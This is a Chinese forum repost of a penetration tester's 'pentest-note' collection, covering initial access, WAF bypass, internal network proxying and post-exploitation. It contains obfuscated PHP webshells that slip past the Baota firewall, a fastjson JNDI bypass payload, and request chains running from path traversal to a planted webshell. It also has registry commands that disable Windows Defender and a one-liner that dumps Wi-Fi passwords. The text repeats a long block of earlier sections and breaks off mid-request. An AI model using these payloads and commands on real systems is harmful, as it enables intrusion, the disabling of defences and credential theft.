安全矩阵

 找回密码
 立即注册
搜索
查看: 3100|回复: 0

pentest-note

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-2-3 19:41:07 | 显示全部楼层 |阅读模式
### Notes List
- ????‍☠ [打点-隐藏资产探测-host碰撞](https://github.com/pen4uin/Pente ... t%E7%A2%B0%E6%92%9E)
- ????‍☠ ["登录框" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ [宝塔防火墙 Bypass](https://github.com/pen4uin/Pente ... %AB%E5%A2%99-bypass)
- ????‍☠ [fastjson bypass 某WAF](https://github.com/pen4uin/Pente ... bypass-%E6%9F%90waf)
- ????‍☠ [内网-代理(reGeorg+Proxifier+Win)](https://github.com/pen4uin/Pente ... regeorgproxifierwin)
- ????‍☠ [内网-代理(reGeorg+proxychains+Linux)](https://github.com/pen4uin/Pente ... orgproxychainslinux))
- ????‍☠ [内网-代理(ssocks反向代理)](https://github.com/pen4uin/Pente ... orgproxychainslinux))
- ????‍☠ [打点-Druid未授权访问->RCE](https://github.com/pen4uin/Pente ... %AE%BF%E9%97%AE-rce)
- ????‍☠ [打点-任意文件下载->RCE](https://github.com/pen4uin/Pente ... %B8%8B%E8%BD%BD-rce)
- ????‍☠ [pocsuite3代理使用](https://github.com/pen4uin/Pente ... 6%E9%A3%9F%E7%94%A8)
- ????‍☠ [打点-子域名爆破-泛解析问题](https://github.com/pen4uin/Pente ... 0%E9%97%AE%E9%A2%98)
- ????‍☠ ["SQL注入" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ ["文件删除" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ ["Java SSRF" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ [黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)](https://github.com/pen4uin/Pente ... %B8%8B%E8%BD%BD-rce)
- ????‍☠ [打点-ThinkPHP 5.0.X(debug模式+空数组)](https://github.com/pen4uin/Pente ... A%E6%95%B0%E7%BB%84)
- ????‍☠ [内网-CMD获取RDP端口](https://github.com/pen4uin/Pente ... p%E7%AB%AF%E5%8F%A3)
- ????‍☠ [内网-规避杀软 Windows Defender](https://github.com/pen4uin/Pente ... AF-windows-defender)
- ????‍☠ [打点-文件下载-mlocate.db](https://github.com/pen4uin/Pente ... %E9%9B%86-mlocatedb)
- ????‍☠ [内网-CMD获取WIFI密码](https://github.com/pen4uin/Pente ... i%E5%AF%86%E7%A0%81)
- ????‍☠ [内网-DMZ区突破](https://github.com/pen4uin/Pente ... A%E7%AA%81%E7%A0%B4)
- ????‍☠ [内网-PowerShell命令历史记录](https://github.com/pen4uin/Pente ... 2%E8%AE%B0%E5%BD%95)
- ????‍☠ [内网-定位多网卡主机](https://github.com/pen4uin/Pente ... %9C%BAoxid-resolver)
- ????‍☠ [内网-主机"不出网"](https://github.com/pen4uin/Pentest_Notes/)
- ????‍☠ [内网-跨域](https://github.com/pen4uin/Pentest_Notes/)
- ????‍☠ [打点-Confluence RCE利用](https://github.com/pen4uin/Pente ... e%E5%88%A9%E7%94%A8)
- ????‍☠ [打点-文件下载-.net环境](https://github.com/pen4uin/Pente ... t%E7%8E%AF%E5%A2%83)
- ????‍☠ [内网-vSphere & vCenter的后利用姿势](https://github.com/pen4uin/Pente ... 8%E5%A7%BF%E5%8A%BF)
- ????‍☠ [钓鱼-邮箱探针](https://github.com/pen4uin/Pente ... 1%E6%8E%A2%E9%92%88)
- ????‍☠ [内网-Citrix的后渗透思路](https://github.com/pen4uin/Pente ... F%E6%80%9D%E8%B7%AF)
- ????‍☠ [打点-Confluence后利用思路](https://github.com/pen4uin/Pente ... 8%E6%80%9D%E8%B7%AF)
- ????‍☠ [基建-关于学习RFC规范的必要性](https://github.com/pen4uin/Pente ... 5%E8%A6%81%E6%80%A7)
- ????‍☠ [基建-负载均衡场景下的渗透](https://github.com/pen4uin/Pente ... 4%E6%B8%97%E9%80%8F)
- ????‍☠ [云安全-K8S场景下的渗透](https://github.com/pen4uin/Pente ... 4%E6%B8%97%E9%80%8F)
- ????‍☠ [信息收集-FoFa获取闭源软件源码](https://github.com/pen4uin/Pente ... 6%E6%BA%90%E7%A0%81)
- ????‍☠ [打点-文件写入->RCE 的路径](https://github.com/pen4uin/Pente ... 4%E8%B7%AF%E5%BE%84)
- ????‍☠ [内网-Microsoft ATA 规避](https://github.com/pen4uin/Pente ... -%E8%A7%84%E9%81%BF)
### 隐藏资产探测-host碰撞

step1: 搜集子域名

step2: 搜集IP (目标域名历史解析IP)

step3: 以IP+域名的形式进行碰撞


传送:
```
https://github.com/fofapro/Hosts_scan
https://github.com/shmilylty/OneForAll  
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/  # 子域名
```
参考:
```
https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590
```
`复现:`

**环境搭建**

实验环境
```shell
# 安装nginx
apt install nginx
# 创建nginx配置文件
/usr/sbin/nginx -t
# 配置文件位置
/etc/nginx/nginx.conf
```

实战环境(模拟)

- 反代
- 限制IP访问

文件nginx.conf配置如下

```
http {
    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    # include /etc/nginx/sites-enabled/*;
    # 限制IP访问
    server {
        listen 80 default;
        server_name _;
        return 403;
        }
    server {
            listen       80;
            server_name  nginx.lab.com;
        location / {
                proxy_pass http://10.10.10.12:8000;
                index  index.html index.htm index.jsp;
            }
        }
}
```

**复现效果**

如下图所示

- IP访问
![image]()

- 域名访问

Windows

> \# 修改 hosts
>
> notepad %windir%\system32\drivers\etc\hosts
>
> \# 添加以下绑定关系
>
> 10.10.10.12 nginx.lab.com

![image]()

使用Burpsuite复现

![image]()

### "登录框" 攻击面
- 用户名枚举
- 空口令
- 弱口令
- 登录认证绕过
- 暴力破解
- 图形验证码绕过
- 短信验证码绕过(或爆破)
- 短信轰炸(重放)
- 邮箱轰炸(重放)
- 密码明文传输
- SQL注入(万能密码)
- 任意用户密码重置
- 目录遍历
- 敏感信息泄露
- 框架漏洞(shiro)
- XSS
- JS文件

### 宝塔防火墙 Bypass
- 传参方式 $_COOKIE
- 编码绕过流量检测

*3重 base64 失败*(似乎检测了关键字‘base64’)
![image]()

*3重 url编码 成功*

![image]()

贴两个????(`侵删`)

demo1:
```php
<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p())p;
?>
```
demo2:
```php
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>
```

### fastjson bypass 某WAF
demo
```
{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0
```
![image]()

bypass
```
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
```
### 内网渗透-代理(reGeorg+Proxifier+Win)

```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 8888
```
proxifier配置代理如下
- 127.0.0.1:8888
- socks5

### 内网渗透-代理(reGeorg+proxychains+Linux)
```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561
```
proxychains配置如下:
- vim /etc/proxychains.conf

![image]()

demo:
使用proxychains代理远程登录windows
```
proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-g后面代表要使用的分辨率
```

### 内网渗透-代理(ssocks反向代理)
```
https://sourceforge.net/projects/ssocks/
```
参考:
https://apt404.github.io/2016/09/12/ssocks/

### Druid未授权访问->RCE
- 目录扫描  /druid/index.html
- 信息泄露  Session & URI(后台)
- 伪造session进入后台,发现上传点
```
POST /index HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin:
Referer:
Cookie: JSESSIONID=589A43F0FAxxxxxx2A4403C143A77A51
```
- 绕过前端js验证实现任意文件上传
### 任意文件下载->RCE
- 发现1处文件下载的地方
```
GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
```
- burp抓包,换为post请求发现可下载任意文件
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml
```
- 读取日志文件判断class文件的位置
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log
```
- 下载class文件分析审计,在/download路由下的servlet存在上传文件和更新文件的操作
  - 首先上传一个空文件到web目录
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/
  ```

  - 更新文件内容为webshell
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=updateContent&home=/&filepath=../webapps/x.jsp&content=xxxxxx
  ```
- 成功突破网络边界进入内网

### pocsuite3代理食用
命令行:
```shell
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks5://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks4://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy http://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy https://1.2.3.4:5678
```
proxier:

![image]()

### 子域名爆破-泛解析问题
0.泛解析
```shell
原理:
利用通配符(*)将所有某个级别的域名解析到同一个IP地址上。

举例:
现有域名github.com, 设置泛解析后,所有该域名下的子域aaa.github.com,bbb.aaa.github.com都会被解析到和github.com相同的ip地址。
```
1.OneForAll:
```shell
访问一个随机的并不存在的域,通过返回结果判断是否存在泛解析,若存在泛解析,程序会不断的循环产生随机域名向服务器查询,将每次查询到的IP和TTL记录下来,直到大部分的IP地址出现次数都大于两次,则IP黑名单的收集结束,在得到了IP黑名单以后,将自己的字典中的每一项和要指定查询的域名进行拼接爆破,然后根据IP黑名单进行过滤。
```
2.SubdomainBrute

```shell
超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃。
```
3.目前思路-TTL黑名单
```shell
在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。
```
参考:http://sh3ll.me/

### SQL注入攻击面

- 万能密码
- 敏感信息  `邮箱/电话等 -> 供社工钓鱼使用`
- 凭证  `session/密码等 -> 外网系统入口(OA/邮箱/VPN)`
- RCE
  - mssql xp_cmdshell
  - mysql udf
- Webshell
  - mysql
  - mssql
  - oracle
- SSRF
  - mssql
  - oracle
- 端口扫描
  - oracle
- 凭据(NTLM Hash)
  - Windows & UNC

### 文件删除攻击面

- 删除install.lock导致重装,进而RCE
  -  /sys/install.lock VAuditDemo
- 删除某些配置文件导致重装,进而RCE
  -  my.php 然之协同
- 删除权限校验文件,组合受限漏洞(文件上传/SQLi注入等),进而RCE
  -  /inc/auth.inc.php 通达OA
- 删除账号密码配置文件,导致账号密码重新配置,进而获得管理员权限
  -  /WEB-INF/resources/privilege.xml 帆软报表系统(FineReport)
### Java SSRF攻击面

- 利用file协议任意文件读取
- 利用http协议端口/服务探测
- 利用http协议进行 ntlm relay
- 组合redis等内网服务从而rce(weblogic)

### 黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)
- Tip: `fofa随缘,独立ip 1000+即可`
![image]()

**step1**
- 搜索产品的安装手册/用户手册(弱口令,影子账户等)
- 发现通用弱口令-admin/admin
  ![image]()

**step2**
- 登录后台并测试功能点,burp抓取流量
- 发现参数:?xmlPath=
  - 构造payload
  ```
  .action?xmlPath=../../conf/tomcat-users.xml
  .action?xmlPath=../../webapps/examples/WEB-INF/web.xml
  ```
- 经测试存在任意文件读取漏洞
  ![image]()

**step3**
- 回溯burp的代理流量
- cookie发现参数:rememberMe
- 尝试组合任意文件读取进行漏洞利用
  - web.xml -> shiro.ini(失败)
  - tomcat-users.xml -> 控制台利用思路(失败)
- 最后还是作为脚本小子的快乐
  ![image]()

  
### ThinkPHP 5.0.X(Debug模式+空数组)
- 若目标启用了 debug 模式,敏感功能点传递空数组可能会引起程序抛出异常泄露敏感信息 by xxxeyJ
```http
POST /index/login HTTP/1.1
User-Agent:
Accept:
Accept-Encoding:
Content-Type:

username=admin&password[]=&verifycode=
```
### 内网-CMD获取RDP端口
Terminal下执行
> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

响应
> PortNumber    REG_DWORD    0xd3d

![image]()

进制转换得到

![image]()

### 内网-规避杀软 Windows Defender
```shell
# Defensive Evasion
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg.exe     delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
```
### 打点-文件下载/信息收集 mlocate.db

   mlocate.db是linux下的一个数据库文件,用于存放locate命令的索引,也就是相当于存放了所有文件的路径。

文件位置
> /var/lib/mlocate/mlocate.db

与之对应的命令 — locate

在拿到目标权限后做信息收集还是蛮不错的

```shell
locate web.xml
```
![image]()

### 内网-CMD获取WIFI密码
— by chengmo
```
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
```
![11111]()

### 内网-DMZ区突破
`本质:找到能通向内网的主机`

- 双网卡主机
- 历史登录IP:可能来自内网的运维
- 站库分离:数据库服务器很可能在内网
  - https://github.com/blackarrowsec/mssqlproxy
- VPN:信息收集
- 钓鱼:钓鱼上线的机子大概率是在办公网)

### 内网-PowerShell命令历史记录
`— 类似Linux下的.bash_history`

文件位置
>  %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

![image]()


利用思路
- 打点: 任意文件下载+Windows系统,可以尝试一下该路径,也许有新世界
- 内网: 信息收集
- 蓝队: 溯源取证时,毕竟CMD一直以来都被诟病,PowerShell改改颜值还是很能打的,但是也就悄悄地给蓝队留下了"证据"(:

![image]()

### 内网-定位多网卡主机(OXID Resolver)

工具
- https://github.com/Rvn0xsy/OXID-Find/

条件
- 目标主机: 开放135端口

后续
- 考虑到平台兼容性,可以根据OXID-Find用其他语言重构一版自用。

### 内网-主机"不出网"
~~本地环境搭建中~~

### 内网-跨域
~~本地环境搭建中~~

### 打点-Confluence RCE利用

近期的1次实战

0. Confluence RCE(CVE-2021-26084),写入webshell,获取服务器权限
1. 找到数据库配置文件,获取数据库权限
2. 前期信息收集发现WIKI、Jira等站点需要AD账号登录,猜测其数据库有LDAP信息
3. 在cwd_directory_attribute表找到LDAP配置信息,拿到密码
4. 通过该密码获取源码管理平台(Gitlab)的控制权

### 打点-文件下载-.net环境

#### 0x01 前言

这是对学校某网站随机测试发现的,当时可下载web.config,由于不熟悉.net就没有后续了。

前段时间隔壁班的大佬提示说: 可以尝试下载源码审计一波????

#### 0x02 流程回顾

在xx通知页面发现一处文件下载的功能点
- /tp/DownLoadFile.aspx?filename=

![image]()

于是开始猜其目录
```
?filename=DownLoadFile.aspx
?filename=./DownLoadFile.aspx
?filename=./../DownLoadFile.aspx
......
```
最后以
- ?filename=./../DownLoadFile.aspx

成功下载

![image]()

#### 0x03 利用思路

1.下载web.config,获取数据库配置以及部分网站架构

![image]()

如图,可获取到数据库密码

2.遍历下载*.aspx,然后根据Inherits所引用文件的位置,构造路径下载*.dll,然后dnSpy反编译后审计即可

示例:文件下载漏洞

![image]()



### 内网-vSphere & vCenter的后利用姿势
— 历史笔记整理

> 关于vcenter的利用主要是在已经获取服务器权限的情况下

(登录后台)

- 从 vCenter 备份中提取 IdP 证书并伪造管理员身份登录后台(实战案例)
- 工具地址
    - [vcenter_saml_login](https://github.com/horizon3ai/vcenter_saml_login)

data.mdb位置:

- Linux:
   
    ```
    /storage/db/vmware-vmdir/data.mdb
    ```
   
- Windows
   
    ```
    C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
    ```
   

实测效果

![image]()

然后访问https://10.10.10.1/ui,在 /ui 路径下替换上一步所获得的cookie即可

![image]()


进入后台后
  - 可通过vcenter的快照功能获取虚拟机的快照,然后通过内存取证的姿势dump凭证,pth;
  - 也可传到本地,再恢复成虚拟机,然后通过PE,重命名CMD.EXE为OSK.exe覆盖原OSK.exe,此时开机打开屏幕键盘会弹出SYSTEM权限的命令行窗口,本地上线cs然后hashdump抓取凭证,pth即可。(by banliz1)

### 钓鱼-邮箱探针

```
# by se7ensec.cn
平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,此探针可以判断目标是否点击了邮件,不至于那么的苦等。
```
- [鱼叉攻击|Mail-Probe 邮箱探针后台管理系统](https://www.se7ensec.cn/2020/09/ ... %E7%B3%BB%E7%BB%9F/)

### 内网-Citrix的后渗透思路
```
Citrix虚拟化应用常常与AD域绑定,如果被登录,将会对整个域安全造成非常重大的风险。
```
- [浅谈关于企业中citrix的渗透思路](https://mp.weixin.qq.com/s/wUv3DIN4woXMZmYOCG2MGg)

### 打点-Confluence后利用思路
- 修改数据库,实现用户登录
  - 修改用户登录口令
  - 修改Personal Access Tokens(by 3gstudent)
- 写文件
  - Windows: Confluence默认权限为network service,具有写权限
  - Linux: Confluence默认权限为confluence,没有写权限,可以尝试内存马

测试CVE-2021-26084:
- Windows Server 2016
- Atlassian Confluence 7.4.10
- Postgresql 12.8-1
- AntSword

目录:

![image]()

![image]()

- 数据库配置-confluence.cfg.xml
```
# Windows默认安装
C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml
# Ubuntu默认安装
/var/atlassian/application-data/confluence/confluence.cfg.xml
```
![image]()

### 基建-关于学习RFC规范的必要性
> 最近的一次小组例会上有幸收到了来自leader的leader的建议 —— 多看看RFC文档、技术基建要做好。(缘起log4shell)

```shell
For better or worse, Requests for Comments (RFCs) are how we specify many protocols on the Internet.
```

RFC规范实际使用场景示例:
- [从RFC规范看如何绕过waf上传表单 上篇](https://www.anquanke.com/post/id/241265)
- [从RFC规范看如何绕过waf上传表单 下篇](https://www.anquanke.com/post/id/242583)
- [利用 URN 绕过 URL 检查](https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ)
- [利用 multipart boundary 绕过 WAF](https://mp.weixin.qq.com/s/Wsl17GjucN08YAiwbm0vYQ)
- [An Exploration of JSON Interoperability Vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities)

学习参考:
- [How to Read an RFC(中文译版)](https://juejin.cn/post/6844903716051484679)
- [How to Read an RFC](https://www.mnot.net/blog/2018/07/31/read_rfc)

### 基建-负载均衡场景下的渗透
- Why?
>
> 相信能看到这些笔记的师傅可能都曾遇到过负载均衡场景下的渗透问题,比如你通过nday打下了一台weblogic,并上了webshell,当你对目标机子再次发起请求时,你会发现执行命令出错,也许会猜测是因为网络问》题;于是你再用exp打了一次,成功了,此时的ip可能发生了变化;失败了,漏洞不存在了?在这些问题的背后,很有可能就是`负载均衡`在作祟。再加上微服务架构和K8S的兴起,负载均衡的应用也越来越多,这是个不得不学习 & 解决的坑。


- What?

> \# 通俗理解:
> 一个超市的收营员高峰期只能服务10位顾客,当做活动时有20位顾客需要服务的话可能就会排长队,这样购物体验将会很差(就像客户抱怨系统/网站访问太慢)。最简单的办法就是再招个营业员,重新开通一个出口。负载均衡的核心就是“分摊压力”。


- How?
  - [渗透测试-负载均衡识别](https://blog.csdn.net/Z_Grant/article/details/99636169)
  - [负载均衡踩坑记](https://xz.aliyun.com/t/10297)
  - [负载均衡下的 WebShell 连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA)
  - [内网渗透-FRP负载均衡](https://scarletf.github.io/2021/ ... %E5%9D%87%E8%A1%A1/)
  - [proxyshell 针对Exchange负载均衡情况下的修改版POC](https://www.t00ls.cc/articles-64010.html)
  - [Neo-reGeorg-(非 php) 已支持内网转发,应对负载均衡环境](https://github.com/L-codes/Neo-reGeorg#features)
  - [挖洞经验 | 从负载均衡或CDN应用中发现的配置类漏洞](https://www.freebuf.com/vuls/227805.html)

### 云安全-K8S场景下的渗透
- [Kubernetes安全测试实践录](https://tttang.com/archive/1389/)
- [Kubernetes(K8s)横向移动办法](https://payloads.online/archivers/2021-07-20/1/)
- [Kubernetes安全入门](https://xz.aliyun.com/t/4276)
- [Kubernetes集群渗透测试](https://www.freebuf.com/vuls/196993.html)
- [K8s渗透测试之kube-apiserver利用](https://www.cdxy.me/?p=839)
- [K0OTKIT:HACK K8S IN A K8S WAY](http://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/)
- [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%E5 ... %E5%AE%9E%E6%88%98/)
- [容器安全 & 容器渗透学习笔记](https://lfysec.top/2021/07/13/%E ... %E7%AC%94%E8%AE%B0/)
- [云原生安全|基于容器ATT&CK矩阵模拟攻防对抗的思考](https://www.secpulse.com/archives/168616.html)
- [学习K8S中常见的21种攻击方式](https://www.wangan.com/p/7fygf39b3e601183)
- [红蓝对抗中的云原生漏洞挖掘及利用实录](https://security.tencent.com/index.php/blog/msg/183)

### 信息收集-FoFa获取闭源软件源码
> 其他测绘引擎同理
示例:
```
body="web.config" && "oa" && "rar" && country="CN"
body="web.config" && "U8" && country="CN"
body="web.config" && "EAS" && country="CN"
body="web.config" && "k3s" && country="CN"
body="web.config" && "kingdee" && country="CN"
body="web.config" && "系统" && country="CN"
body="web.config" && "办公" && country="CN"
body="web.config" && "EKP" && country="CN"
...
```
效果: 某OA全家桶?

![image]()

step3: 以IP+域名的形式进行碰撞


传送:
```
https://github.com/fofapro/Hosts_scan
https://github.com/shmilylty/OneForAll  
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/  # 子域名
```
参考:
```
https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590
```
`复现:`

**环境搭建**

实验环境
```shell
# 安装nginx
apt install nginx
# 创建nginx配置文件
/usr/sbin/nginx -t
# 配置文件位置
/etc/nginx/nginx.conf
```

实战环境(模拟)

- 反代
- 限制IP访问

文件nginx.conf配置如下

```
http {
    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    # include /etc/nginx/sites-enabled/*;
    # 限制IP访问
    server {
        listen 80 default;
        server_name _;
        return 403;
        }
    server {
            listen       80;
            server_name  nginx.lab.com;
        location / {
                proxy_pass http://10.10.10.12:8000;
                index  index.html index.htm index.jsp;
            }
        }
}
```

**复现效果**

如下图所示

- IP访问
![image]()

- 域名访问

Windows

> \# 修改 hosts
>
> notepad %windir%\system32\drivers\etc\hosts
>
> \# 添加以下绑定关系
>
> 10.10.10.12 nginx.lab.com

![image]()

使用Burpsuite复现

![image]()

### "登录框" 攻击面
- 用户名枚举
- 空口令
- 弱口令
- 登录认证绕过
- 暴力破解
- 图形验证码绕过
- 短信验证码绕过(或爆破)
- 短信轰炸(重放)
- 邮箱轰炸(重放)
- 密码明文传输
- SQL注入(万能密码)
- 任意用户密码重置
- 目录遍历
- 敏感信息泄露
- 框架漏洞(shiro)
- XSS
- JS文件

### 宝塔防火墙 Bypass
- 传参方式 $_COOKIE
- 编码绕过流量检测

*3重 base64 失败*(似乎检测了关键字‘base64’)
![image]()

*3重 url编码 成功*

![image]()

贴两个????(`侵删`)

demo1:
```php
<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p())p;
?>
```
demo2:
```php
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>
```

### fastjson bypass 某WAF
demo
```
{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0
```
![image]()

bypass
```
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
```
### 内网渗透-代理(reGeorg+Proxifier+Win)

```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 8888
```
proxifier配置代理如下
- 127.0.0.1:8888
- socks5

### 内网渗透-代理(reGeorg+proxychains+Linux)
```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561
```
proxychains配置如下:
- vim /etc/proxychains.conf

![image]()

demo:
使用proxychains代理远程登录windows
```
proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-g后面代表要使用的分辨率
```

### 内网渗透-代理(ssocks反向代理)
```
https://sourceforge.net/projects/ssocks/
```
参考:
https://apt404.github.io/2016/09/12/ssocks/

### Druid未授权访问->RCE
- 目录扫描  /druid/index.html
- 信息泄露  Session & URI(后台)
- 伪造session进入后台,发现上传点
```
POST /index HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin:
Referer:
Cookie: JSESSIONID=589A43F0FAxxxxxx2A4403C143A77A51
```
- 绕过前端js验证实现任意文件上传
### 任意文件下载->RCE
- 发现1处文件下载的地方
```
GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
